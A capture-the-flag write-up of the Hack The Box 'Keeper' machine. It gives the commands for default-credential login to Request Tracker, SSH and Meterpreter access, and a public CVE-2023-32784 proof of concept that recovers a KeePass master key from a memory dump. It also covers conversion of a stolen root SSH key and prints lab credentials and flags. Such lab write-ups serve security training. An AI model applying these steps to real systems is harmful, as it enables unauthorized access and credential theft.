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Keeper

IP: 10.129.97.195

Info Gathering

Connect to HTB

# Needed to modify the lab_tobor.ovpn file to get connected
vim /etc/openvpn/client/lab_tobor.ovpn
# Added below lines to top of file
tls-cipher "DEFAULT:@SECLEVEL=0"
allow-compression yes

Initial Setup

# Make directory to save files
mkdir ~/HTB/Boxes/CozyHosting
cd ~/HTB/Boxes/CozyHosting

# Open a tmux session
tmux new -s HTB

# Start logging session
(Prefix-Key) CTRL + b, SHIFT + P

# Connect to OpenVPN
openvpn /etc/openvpn/client/lab_tobor.ovpn

# Create Metasploit Workspace
msfconsole
workspace -a Keeper
workspace Keeper

Enumeration

# Add enumeration info into workspace
db_nmap -sC -sV -O -A 10.129.97.195 -oN keeper.txt

Hosts
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Services

Gaininig Access

When visiting the HTTP site at 10.129.97.195 port 80 to tickets.keeper.htb port 80

Screenshot Evidence

I added the DNS record to my /etc/hosts file and visited the site http://tickets.keeper.htb

# Using vim editior
vim /etc/hosts
# Added entry
10.129.97.195   keeper.htb tickets.keeper.htb

Screenshot Evidence
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The web application being used is called Best Practical
LINK: https://bestpractical.com/?rt=4.4.4+dfsg-2ubuntu1

I tried the default credentials to log into the application and was successful
USER: root
PASS: password
SOURCE: https://forum.bestpractical.com/t/default-password/20088

Screenshot Evidence

Browsing the site under Admin > Users > Select I was able to discover a couple of usernames

https://bestpractical.com/?rt=4.4.4+dfsg-2ubuntu1
https://forum.bestpractical.com/t/default-password/20088
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I selected the user "inorgaard and in the comments section found a password for the user
USER: lnorgaard
PASS: Welcome2023!

Screenshot Evidence

I was able to successfully SSH into the server using the discovered credentials

# SSH way
ssh lnorgaard@10.129.97.195
Password: Welcome2023!

# Metasploit Way
use auxiliary/scanner/ssh/ssh_login
set USERNAME lnorgaard
set PASSWORD Welcome2023!
set RHOSTS 10.129.97.195
set WORKSPACE Keeper
run

Screenshot Evidence

I was able to successfully upgrade my session to a Meterpreter session
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# Upgrade session
sessions -u 1

Screenshot Evidence

This gave me access to the server

Screenshot Evidence

I grabbed the user flag

# Read flag
cat user.tx
#RESULTS
f9d855d68527a9b8859eb438e9719431

Screenshot Evidence
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USER FLAG: f9d855d68527a9b8859eb438e9719431

PrivEsc

There is a zip file in the directory I landed in RT30000.zip which I downloaded to my attack machine

# Meterpreter Command
download RT30000.zip

# Or use SCP Method from attack machine
scp lnorgaard@10.129.97.195:~/RT30000.zip .
Password: Welcome2023!

Screenshot Evidence

I unzipped the file to analyze it. It extracted a file called passcodes.kdbx

# Unzip file
unzip RT30000.zip

Screenshot Evidence
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KDBX files are KeePass files meaning this is likely a password database file for KeePass
I verified the file is what it sounds like

# Verify file type
file passcodes.kdbx
file KeePassDumpFull.dmp

Screenshot Evidence

In a Google search I came across a PoC exploit that can dump the keepass master key.
I downloaded the exploit and ran it against the dump file
LINK CVE-2023-32784 https://github.com/CMEPW/keepass-dump-masterkey

# Download PoC exploit
git clone https://github.com/CMEPW/keepass-dump-masterkey.git
cd keepass-dump-masterkey/
python3 poc.py -d ../KeePassDumpF

Screenshot Evidence

https://github.com/CMEPW/keepass-dump-masterkey
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I installed KeePass and attempted to open the database file with it. I copied the possible password and was able
to get int using the strange characters

# Install KeePass
sudo apt update && sudo apt install -y kpcli keepassx

None of the password options returned worked. According to the tools readme the first char cannot be found in
the dump 
The password appears to be in a different language and uses unusual characters. 
I searched for ●,dgr●d med fl●de in Google and the first result made it appear to be the name of a danish desert

Screenshot Evidence



9/13

I copied the desert name, made it lowercase and was able to use that as the password to unlock the database file

PASS="rødgrød med fløde"
echo $PASS | kpcli --kdb=passcodes.kdbx

Screenshot Evidence

I enumrated all the directories to see what was inside

# Enumerate directories
cd passcodes
ls *

Screenshot Evidence
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I found an SSH key in passcodes/Network/keeper.htb

# View SSH key
show /passcodes/Network/keeper.htb

Screenshot Evidence
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To get the key easily I opened the KeyPass application KeePassXC. 
I clicked “Import Existing Database” and entered the password

I can see an RSA key in PuTTY format and a password for it with the root user
USER: root
PASS: F4><3K0nd!
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Screenshot Evidence

Since we are using OpenSSH I converted the key into PEM format and used it to access the server

# Convert to PEM format
puttygen rsa.ppk -O private-openssh -o rsa.key

# Access the device
ssh -i rsa.key root@keeper.htb

# Metasploit Way
use auxiliary/scanner/ssh/ssh_login_pubkey
set USERNAME root
set KEY_PATH /root/HTB/Boxes/Keeper/rsa.key
set KEY_PASS F4><3K0nd!

Screenshot Evidence
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I was then able to read the root flag

# Read flag
cat /root/root.txt
#RESULTS
8f8c9a12fc931a329884f28233a9bb04

Screenshot Evidence

ROOT FLAG: 8f8c9a12fc931a329884f28233a9bb04


